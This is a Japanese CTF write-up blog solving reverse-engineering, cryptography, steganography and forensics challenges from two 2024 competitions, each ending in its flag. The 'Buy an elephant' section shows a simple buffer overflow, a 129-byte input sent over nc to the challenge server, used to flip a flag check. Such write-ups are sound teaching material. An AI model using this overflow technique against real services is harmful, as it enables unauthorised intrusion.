Cybercoliseum Ⅲ Writeup

この大会は2024/4/28 16:00(JST)~2024/4/30 4:00(JST)に開催されました。
今回は個人で参戦。結果は2300点で500チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

Buy an elephant (PWN, Easy)

Ghidraでデコンパイルする。

undefined8 FUN_00401302(void)

{
  int iVar1;
  size_t sVar2;
  undefined8 local_148;
  undefined8 local_140;
  undefined8 local_138;
  undefined8 local_130;
  undefined8 local_128;
  undefined8 local_120;
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  char local_38 [32];
  time_t local_18;
  tm *local_10;
  
  puts(&DAT_004040a0);
  local_48 = 0;
  local_40 = 0;
  local_148 = 0;
  local_140 = 0;
  local_138 = 0;
  local_130 = 0;
  local_128 = 0;
  local_120 = 0;
  local_118 = 0;
  local_110 = 0;
  local_108 = 0;
  local_100 = 0;
  local_f8 = 0;
  local_f0 = 0;
  local_e8 = 0;
  local_e0 = 0;
  local_d8 = 0;
  local_d0 = 0;
  local_c8 = 0;
  local_c0 = 0;
  local_b8 = 0;
  local_b0 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_18 = time((time_t *)0x0);
  local_10 = localtime(&local_18);
  strftime(local_38,0x14,"%a, %y:%H:%M",local_10);
  printf("Enter your name: ");
  fflush(stdout);
  fgets((char *)&local_48,0x10,stdin);
  sVar2 = strcspn((char *)&local_48,"\n");
  *(undefined *)((long)&local_48 + sVar2) = 0;
  DAT_004051a0 = '\0';
  printf("(%s) %s: %s\n",local_38,s_Vanya_004050fe,"Buy an elephant");
  while( true ) {
    memset(&local_148,0,0x100);
    memset(&DAT_00405120,0,0x80);
    local_18 = time((time_t *)0x0);
    local_10 = localtime(&local_18);
    strftime(local_38,0x14,"%a, %y:%H:%M",local_10);
    printf("(%s) %s: ",local_38,&local_48);
    fflush(stdout);
    fgets((char *)&local_148,0x100,stdin);
    sVar2 = strcspn((char *)&local_148,"\n");
    *(undefined *)((long)&local_148 + sVar2) = 0;
    iVar1 = strcmp((char *)&local_148,"q");
    if (iVar1 == 0) break;
    local_18 = time((time_t *)0x0);
    local_10 = localtime(&local_18);
    strftime(local_38,0x14,"%a, %y:%H:%M",local_10);
    sVar2 = strlen(&DAT_00405120);
    *(undefined8 *)(&DAT_00405120 + sVar2) = 0x656e6f7972657645;
    *(undefined8 *)(&DAT_00405128 + sVar2) = 0x22207379617320;
    strcat(&DAT_00405120,(char *)&local_148);
    sVar2 = strlen(&DAT_00405120);
    *(undefined8 *)(&DAT_00405120 + sVar2) = 0x7920747562202c22;
    *(undefined8 *)(&DAT_00405128 + sVar2) = 0x206465656e20756f;
    *(undefined8 *)(&DAT_00405130 + sVar2) = 0x6120797562206f74;
    *(undefined8 *)(&DAT_00405138 + sVar2) = 0x616870656c65206e;
    *(undefined2 *)(&DAT_00405140 + sVar2) = 0x746e;
    (&DAT_00405142)[sVar2] = 0;
    printf("(%s) %s: %s\n",local_38,s_Vanya_004050fe,&DAT_00405120);
  }
  if (DAT_004051a0 != '\0') {
    FUN_004012b6();
  }
  return 0;
}

void FUN_004012b6(void)

{
  char *pcVar1;
  
  pcVar1 = getenv("FLAG");
  printf("Your flag: %s\n",pcVar1);
  fflush(stdout);
  return;
}

名前は適当な16バイト以下のものを指定し、次の入力で129バイト入力すれば、DAT_004051a0が上書きされ、フラグ表示の条件を満たす。この条件を満たした上で"q"で抜ければ、フラグが表示される。

$ nc 62.173.140.174 47100
                                                                                        
                                                                                        
                                                                                        
                                                                                        
                                                ████████                                
                                            ████░░░░░░░░██████                          
                              ██████████  ██░░░░░░░░░░░░░░░░░░████                      
                          ████░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░██                    
                        ██░░░░░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░██                  
                      ██░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░██                
                    ██░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░██                
                  ██░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░░░░░██░░░░██                
                ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░██░░░░░░░░░░░░░░██                
                ██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░░░░░░░░░██                
                  ██  ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░██                  
                      ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░██                    
                      ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██                    
                        ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░██                      
                        ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░██                        
                          ██░░░░████░░░░░░░░████░░░░██    ██░░██  ████                  
                          ██░░░░██  ████████  ██░░░░██    ██░░░░██░░░░██                
                          ██░░░░██            ██░░░░██      ██░░░░░░██                  
                          ██░░░░░░██          ██░░░░░░██      ██████                    
                          ██░░░░░░  ██        ██░░░░░░  ██                              
                            ████████            ████████                                
                                                                                        
                                                                                        
                                                                                        
                                                                                        

Enter your name: hoge
(Sun, 24:23:04) Vanya: Buy an elephant
(Sun, 24:23:05) hoge: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
(Sun, 24:23:06) Vanya: Everyone says "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", but you need to buy an elephant
(Sun, 24:23:06) hoge: q
Your flag: CODEBY{D0_yoU_b2y_aN_elePh@nt}
CODEBY{D0_yoU_b2y_aN_elePh@nt}

Warm-up (Reverse-engineering, Easy)

$ file task_rev.exe                                              
task_rev.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

dnSpyでデコンパイルする。

using System;
using System.Text;
using EncryptionLibrary;

// Token: 0x02000002 RID: 2
internal class Program
{
	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
	private static void Main()
	{
		byte[] a = new byte[]
		{
			90,
			90,
			131,
			173,
			3,
			108,
			139,
			21,
			101,
			136,
			11,
			35,
			101,
			154,
			191,
			222,
			178,
			128,
			45,
			197,
			220,
			65,
			122,
			138,
			18,
			173,
			210,
			128,
			16,
			101,
			247,
			74
		};
		Console.Write("Введите пароль для шифрования: ");
		string plainText = Console.ReadLine();
		byte[] bytes = Encoding.UTF8.GetBytes("CODEBY__PASSWORD");
		byte[] bytes2 = Encoding.UTF8.GetBytes("IV82941840912841");
		byte[] a2 = EncryptionHelper.EncryptStringToBytes_Aes(plainText, bytes, bytes2);
		bool flag = Program.ByteArraysAreEqual(a2, a);
		if (flag)
		{
			Console.WriteLine("Размялся? А теперь серьёзные таски! :)");
		}
		else
		{
			Console.WriteLine("Попробуй ещё, ты точно справишься! UwU");
		}
		Console.WriteLine("\n(Нажмите Enter для выхода)");
		Console.ReadLine();
	}

	// Token: 0x06000002 RID: 2 RVA: 0x000020E8 File Offset: 0x000002E8
	private static void PrintByteArray(byte[] array)
	{
		for (int i = 0; i < array.Length; i++)
		{
			Console.Write("0x{0:X2}, ", array[i]);
		}
		Console.WriteLine();
	}

	// Token: 0x06000003 RID: 3 RVA: 0x00002124 File Offset: 0x00000324
	private static bool ByteArraysAreEqual(byte[] a1, byte[] a2)
	{
		bool flag = a1.Length != a2.Length;
		bool result;
		if (flag)
		{
			result = false;
		}
		else
		{
			for (int i = 0; i < a1.Length; i++)
			{
				bool flag2 = a1[i] != a2[i];
				if (flag2)
				{
					return false;
				}
			}
			result = true;
		}
		return result;
	}
}

AES暗号の鍵は"CODEBY__PASSWORD"、IVは"IV82941840912841"で、暗号化した結果が、aのバイト配列になればよい。つまりaのバイト配列をAES復号すればよい。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

ct = [90, 90, 131, 173, 3, 108, 139, 21, 101, 136, 11, 35, 101, 154, 191, 222,
    178, 128, 45, 197, 220, 65, 122, 138, 18, 173, 210, 128, 16, 101, 247, 74]
ct = b''.join([bytes([c]) for c in ct])

key = b'CODEBY__PASSWORD'
iv = b'IV82941840912841'
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
CODEBY{p@sSw0rd_1n_EXE_anD_DLL}

Lasagna (Reverse-engineering, Easy)

$ strings lasagna.exe| grep python
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
bpython38.dll
4python38.dll

$ python3 pyinstxtractor.py lasagna.exe 
[+] Processing lasagna.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 6734601 bytes
[+] Found 101 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: lasagna.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: lasagna.exe

You can now use a python decompiler on the pyc files within the extracted directory

$ decompyle3 lasagna.exe_extracted/lasagna.pyc 
# decompyle3 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0]
# Embedded file name: lasagna.py
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor_c
t = b'B\xc8>\xcc,\xdc\xafA\x193\x9f\xb5Z/\x80\xa8\xa0\xaar\xacT%\xc9\xa4\x9aeg\xe4\xeb\x87\x87\xcd\xd0]\xf8\xb6\xdb/\xe0h\x0e\xc6!\xc4\x8aq\x82\xa7'
ll = "                ░░░░░░░░  ▒▒                        \n              ░░░░░░░░░░▒▒▒▒░░▒▒▒▒▒▒                \n            ░░░░░░░░░░░░▒▒██▒▒▒▒▒▒▒▒▒▒▒▒            \n          ░░░░░░░░░░▒▒▒▒▒▒██▒▒██████████▒▒░░        \n        ░░░░░░░░░░▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░  \n      ░░░░░░░░░░▒▒▒▒████▒▒██▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░\n    ░░░░░░░░░░▒▒▒▒██▒▒▒▒▒▒▒▒██▒▒░░░░░░░░░░░░░░░░░░  \n  ░░░░░░░░░░░░▒▒██▒▒▒▒▒▒░░▒▒▒▒██▒▒░░░░░░░░░░░░░░██░░\n  ░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░██░░  \n  ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░  \n  ██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░\n  ░░░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░  \n  ██████░░░░░░████████░░░░░░░░░░░░░░░░░░░░████░░██░░\n  ░░░░████████░░░░░░████████░░░░░░░░░░░░██░░██░░██░░\n  ████░░░░██████████░░░░░░██████░░░░████░░██░░██░░  \n  ░░██████░░░░░░░░████████░░░░████████░░██░░██░░    \n    ░░░░██████████░░░░████████░░░░░░░░██░░████░░    \n        ░░░░░░░░██████░░░░░░░░████▓▓████░░██░░      \n              ░░░░░░░░████████░░░░░░░░░░██░░        \n                    ░░░░░░██████████████░░          \n                        ░░░░░░████████░░            \n                              ░░░░░░░░              \n                              "

def c(t, s):
    r = ""
    for c in t:
        if c.isalpha():
            o = ord("a") if c.islower() else ord("A")
            sc = chr((ord(c) - o + s) % 26 + o)
            r += sc
        else:
            r += c

    return r


def e(i):
    s = 13
    c_e = c(i, s)
    b_e = base64.b64encode(c_e.encode()).decode()
    x_k = 65
    x_e = strxor_c(b_e.encode(), x_k)
    a_k = b'KEYrf87ijoasd8j1'
    a_i = b'IV89jf9198fj8912'
    cipher = AES.new(a_k, AES.MODE_CBC, a_i)
    a_e = cipher.encrypt(pad(x_e, AES.block_size))
    return a_e


print(ll)
u_i = input("Enter the encryption flag: ")
e_t = e(u_i)
if e_t == t:
    print("This is your flag! :)")
else:
    print("That's not it...")

# okay decompiling lasagna.exe_extracted/lasagna.pyc

このスクリプトを元に以下の順に復号する。

・AES復号
・XOR
・base64デコード
・シーザー暗号の復号
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.strxor import strxor_c

def c(t, s):
    r = ""
    for c in t:
        if c.isalpha():
            o = ord("a") if c.islower() else ord("A")
            sc = chr((ord(c) - o + s) % 26 + o)
            r += sc
        else:
            r += c

    return r

t = b'B\xc8>\xcc,\xdc\xafA\x193\x9f\xb5Z/\x80\xa8\xa0\xaar\xacT%\xc9\xa4\x9aeg\xe4\xeb\x87\x87\xcd\xd0]\xf8\xb6\xdb/\xe0h\x0e\xc6!\xc4\x8aq\x82\xa7'

a_k = b'KEYrf87ijoasd8j1'
a_i = b'IV89jf9198fj8912'
cipher = AES.new(a_k, AES.MODE_CBC, a_i)
x_e = unpad(cipher.decrypt(t), AES.block_size)

x_k = 65
b_e = strxor_c(x_e, x_k)
c_e = base64.b64decode(b_e).decode()

s = 13
flag = c(c_e, s)
print(flag)
CODEBY{L@sAgna_aND_2ncr3pt1on}

Earth Rumble 2 (Forensics, Easy)

sstvでデコードしてみる。

$ sstv -d task.wav -o flag.png    
[sstv] Searching for calibration header... Found!    
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image...   [##########################################################################################] 100%
[sstv] Drawing image data...
[sstv] ...Done!

出力した画像にフラグが書いてあった。

CODEBY{al13ns_w4s_h3re}

Skeleton (Steganography, Easy)

gifアニメーションになっているので、Giamで全コマを保存する。各コマを見ていくと、53番目のコマにフラグが書いてあった。

CODEBY{4_S3CR37_1N_7H3_SK3L3T0N_W4S_F0UND}

All-seeing (Steganography, Easy)

StegSolveで開き、Alpha plane 1を見ると、フラグが現れた。

CODEBY{4nd_i_c4n_se3}

Letter to Santa Claus (Steganography, Medium)

PDFにはほとんど英大文字で書かれているが、英小文字がまぎれている。英小文字だけ取り出す。

#!/usr/bin/env python3
from string import *

s = '''
THE NEW YEAR IS APPROACHING, AND CHILDREN ARE LOOKING FORWARD TO THE MIRACLE OF SANTA CLAUS WITH A SACK OF PRESENTS. THEY SINCERELY BELIEVE THAT THE KIND SANTA WILL FULFILL ANY WISH, AND PARENTS ON THE ONE HAND WANT TO SUPPORT THIS CHILD'S BELIEF IN MIRACLES, BUT ON THE OTHER HAND - CAN NOT ALWAYS GIVE THE CHILD WHAT HE WANTS.
TO AVOID CHILDREN'S TEARS AND DISAPPOINTMENTS, IT IS WORTH PREPARING FOR NEW YEAR'S EVE IN ADVANCE.
ALL CHILDREN KNOW THAT SANTA CLAUS NEEDS TO WRITE A LETTER. IN BOOKSTORES AND POST OFFICES THERE ARE EVEN SPECIAL COLORFUL FORMS, BUT IT IS NOT NECESsARY AT ALL. A CHILD CAN WRITE IN BLOCK LETTERS HIS REQUEST, AND A LITTLE ONE CAN WRITE HIS NAME, THE REST WILL BE WRItTEN BY MOM. A CHILD'S DRAWING OR APPLIQUE IS A GREAT ALTERNATIVE TO A READY-MADE FORM.
THE MAIN THING - WHAT DOeS YOUR CHILD WANT TO RECEIVE AS A GIFT? WRITING A LETTER TOGETHER AND AT THE SAME TIME TALKING TO THE CHILD WILL HELP PARENTS TO ENCOURAgE THE CHILD TO CHOOSE A GIFT THAT THEY THEMSELVES PLANNED TO BUY HIM OR HER OR THAT THEY CaN AFFORD.
IT IS GOOD IF THE CHILD CHOOSES SOMETHING THAT YOU AGREE WITH IMMEDIATELY. WARMLY SUPPORT HIS DESIRE, HELP TO FORMALIZE THE DRAWING.
AND IF THE CHILD'S DESIRE DOES NOT CORRESPOnD TO YOUR PLANS AND POSSIBILITIES? THEN CAREFULLY START A CONVERSATION ABoUT WHAT CAN BRING FROM THE NORTH SANTA CLAUS.
FOR EXAMPLE, THE cHILD ASKS FOR A LIVE DOG. ASK HIM A QUESTION: "WHAT IF THE DOG FREEZES oN THE ROAD? AND WHO WILL FEED AND CARE FOR HIM ON THE ROAD? SANTA CLAUS IS BUSY PREPARING PRESENTS..." FANTASIZE, THINK OF SOMETHING CONVINCING, REmEMBER WHAT ELSE YOUR CHILD HAS DREAMeD OF, REMIND HIM ABOUT IT, SMOOTHLY PUSH HIM TO CHOOSE A GIFT THAT YOU CAN BUY HIM.
A SMARTPHONE? SANTA CLAUS DOEs NOT USE A SMARTPHONE AND DOES NOT GIVE THEM, SEE, WE WRITE HIM AN ORDINARY LETTER....
THE CHILD ASKS FOR SOMETHING VERY EXPENSIVE? EXPLAiN THAT DED MOROZ CAN NOT GIVE VERY EXPENSIVE GIFTS, HE WRITES A LOT OF CHILDREN, THERE ARE CHILDREN WHO DO NOT HAVE A SINGLE CAR (DOLL), AND nO ONE BUT DED MOROZ WILL NOT GIVE THEM A TOY. AND IF SANTA CLAUS GIVES EXPENSIVE GIFTS, HE WILL NOT BE ABLE TO GIVE THEm TO ALL CHILDREN.
IF THE CHILD INSISTS ON HIS OWN OR HAS ALREADY WRITTEN A LETTER WITHOUT YOU (DREW OR OLDER CHILDREN HELPED HIM), YOU WILL HaVE TO WRITE AN ANSWER LETTER FROM SANTA CLAUS AnD PUT IT UNDER THE CHRISTMAS TREE. BEAUTIFULLY ORGANIZE AND IN THE LETTER WRITE HOW NICE IT WAS TO RECEIVE FROM THE CHILD HIS DRAWING, HOW SANTA CLAUS HAS BEEN WATCHING HIM ALL YEAR (SUCH A GOOD BOy: HELPED HIS PARENTS, ALWAYS CLEANED UP TOYS, LEARNED TO SWIM, ETC.). - EMPHASIZE EVERYTHING POSITIVE). AND fROM THEN SANTA CLAUS WRITES THAT THE LETTER IS A LITTLE LATE, AND HE HAS ALREADY BOUGHT THE CHILD A GIFT, BUT IT IS A GREAT GIFT, A SURPRISE THAT WILL DEFINITELY LIKE! THE LETTER CAN BE ACCOMPANIED BY A SMALL SURPRISE - A CHOCoLATE BAR, A FIGURINE OF SANTA CLAUS, SOME SMALL TOY.
OF COURSE, THE CHILD MAY BE A LITTLE UPSET, BUT THIS DISAPPOINTMENT WILL NOT BE AS STrONG AS IT COULD BE ON NEW YEAR'S MORNING.
THE MAIN THING IS HOW TO PRESENT THE GIFT. IT CAN BE A BEAUTIFUL PACKAGE, SEARCH FOR A GIFT BY NOTES, THE JOY OF THE WHOLE FAmILY AND THE JOINT EXPECTATION OF THE HOLIDAY - THAT'S WHAT IS IMPORTANT FOR THE CHILD, As LONG AS HE BELIEVES IN MIRACLES AND FAIRY TALES.
'''

flag = ''
for c in s:
    if c in ascii_lowercase:
        flag += c
print(flag)
steganocomesinmanyforms
CODEBY{steganocomesinmanyforms}

Hills (Cryptography, Easy)

https://www.dcode.fr/hill-cipherで復号する。ここで、ALPHABET (27 CHAR, A=0) を選択する。

BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS
CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}

A confusing cipher (Cryptography, Easy)

モールス信号が含まれているので、取り出す。

-.-. --- -.. . -... -.-- { -.. .---- -.. ..--.- -.-- ----- ..- ..--.- .-. ...-- -.-. ----- --. -. .---- --.. ...-- ..--.- -- ----- .-. ... ...-- ..--.- -.-. ----- -.. ...-- ..--.. }

これをデコードする。

CODEBY{D1D_Y0U_R3C0GN1Z3_M0RS3_C0D3?}

Custom (Cryptography, Medium)

換字式暗号。フラグの形式から対応を推測しながら復号する。

#!/usr/bin/env python3
ct = 'sgwahu{sfj70d_s1pm3v_1j_4kj0_fj3xf1}'

C = 'adfghjkmpsuvwx'
P = 'emuobslhpcyrdf'

flag = ''
for c in ct:
    if c in C:
        flag += P[C.index(c)]
    else:
        flag += c

print(flag)
codeby{cus70m_c1ph3r_1s_4ls0_us3fu1}

SpringForwardCTF 2024 Writeup

この大会は2024/4/27 6:00(JST)~2024/4/29 6:00(JST)に開催されました。
今回もチームで参戦。結果は3640点で447チーム中46位でした。
自分で解けた問題をWriteupとして書いておきます。

Bad-Singing (Misc)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

nicc{jump-in}

Minerva's-Quest (Misc)

Google FormsのHTMLソースを見て、"nicc{"で検索すると、以下が見つかった。

Here is the flag !!  NICC{_Minerva's_Blessing_for_U}",8,null,null,null,null,null,null,null,[null,"You actually chose that ?!"]
NICC{_Minerva's_Blessing_for_U}

Horsing-Around-at-Troy (Misc)

$ exiftool totally-innocent-horse.jpg                              
ExifTool Version Number         : 12.57
File Name                       : totally-innocent-horse.jpg
Directory                       : .
File Size                       : 9.0 MB
File Modification Date/Time     : 2024:04:27 06:53:31+09:00
File Access Date/Time           : 2024:04:27 09:34:01+09:00
File Inode Change Date/Time     : 2024:04:27 06:57:15+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : Trojan Horse isolated on white background. 3D render
X Resolution                    : 300
Y Resolution                    : 300
Asset ID                        : 1075900476
Web Statement                   : https://www.istockphoto.com/legal/license-agreement?utm_medium=organic&utm_source=google&utm_campaign=iptcurl
Data Mining                     : http://ns.useplus.org/ldf/vocab/DMI-PROHIBITED-EXCEPTSEARCHENGINEINDEXING
Creator                         : Nerthuz
Description                     : Trojan Horse isolated on white background. 3D render
Licensor URL                    : https://www.istockphoto.com/photo/license-gm1075900476-?utm_medium=organic&utm_source=google&utm_campaign=iptcurl
Current IPTC Digest             : f74f7947ad41ca35366f86a142902888
By-line                         : Nerthuz
Caption-Abstract                : Trojan Horse isolated on white background. 3D render
Credit                          : Getty Images/iStockphoto
Image Width                     : 612
Image Height                    : 551
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 612x551
Megapixels                      : 0.337

$ binwalk totally-innocent-horse.jpg                              

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, little-endian offset of first image directory: 8
5511          0x1587          LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 200 bytes
29536         0x7360          Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (10).png
545182        0x8519E         Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (11).png
1060828       0x102FDC        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (12).png
1576474       0x180E1A        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (13).png
2092120       0x1FEC58        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (14).png
2607766       0x27CA96        Zip archive data, at least v2.0 to extract, compressed size: 88510, uncompressed size: 88730, name: surprise/greek - Copy (15).png
2696336       0x292490        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (17).png
3211982       0x3102CE        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (18).png
3727628       0x38E10C        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (2).png
4243273       0x40BF49        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (3).png
4758918       0x489D86        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (4).png
5274563       0x507BC3        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (5).png
5790208       0x585A00        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (6).png
6305853       0x60383D        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (7).png
6821498       0x68167A        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (8).png
7337143       0x6FF4B7        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (9).png
7852788       0x77D2F4        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy.png
8368429       0x7FB12D        Zip archive data, at least v2.0 to extract, compressed size: 65705, uncompressed size: 65942, name: surprise/greek - meme.jpg
8434189       0x80B20D        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek.png
8951237       0x8895C5        End of Zip archive, footer length: 22

$ binwalk totally-innocent-horse.jpg -e

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, little-endian offset of first image directory: 8
5511          0x1587          LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 200 bytes

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
29536         0x7360          Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (10).png
545182        0x8519E         Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (11).png
1060828       0x102FDC        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (12).png
1576474       0x180E1A        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (13).png
2092120       0x1FEC58        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (14).png
2607766       0x27CA96        Zip archive data, at least v2.0 to extract, compressed size: 88510, uncompressed size: 88730, name: surprise/greek - Copy (15).png
2696336       0x292490        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (17).png
3211982       0x3102CE        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (18).png
3727628       0x38E10C        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (2).png
4243273       0x40BF49        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (3).png
4758918       0x489D86        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (4).png
5274563       0x507BC3        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (5).png
5790208       0x585A00        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (6).png
6305853       0x60383D        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (7).png
6821498       0x68167A        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (8).png
7337143       0x6FF4B7        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy (9).png
7852788       0x77D2F4        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek - Copy.png
8368429       0x7FB12D        Zip archive data, at least v2.0 to extract, compressed size: 65705, uncompressed size: 65942, name: surprise/greek - meme.jpg
8434189       0x80B20D        Zip archive data, at least v2.0 to extract, compressed size: 515586, uncompressed size: 515438, name: surprise/greek.png
8951237       0x8895C5        End of Zip archive, footer length: 22

$ ls _totally-innocent-horse.jpg.extracted/surprise 
'greek - Copy (10).png'  'greek - Copy (14).png'  'greek - Copy (2).png'  'greek - Copy (6).png'  'greek - Copy.png'
'greek - Copy (11).png'  'greek - Copy (15).png'  'greek - Copy (3).png'  'greek - Copy (7).png'  'greek - meme.jpg'
'greek - Copy (12).png'  'greek - Copy (17).png'  'greek - Copy (4).png'  'greek - Copy (8).png'   greek.png
'greek - Copy (13).png'  'greek - Copy (18).png'  'greek - Copy (5).png'  'greek - Copy (9).png'

抽出したgreek - Copy (15).pngの画像にフラグが書いてあった。

nicc{7Ro14-H1pPo2}

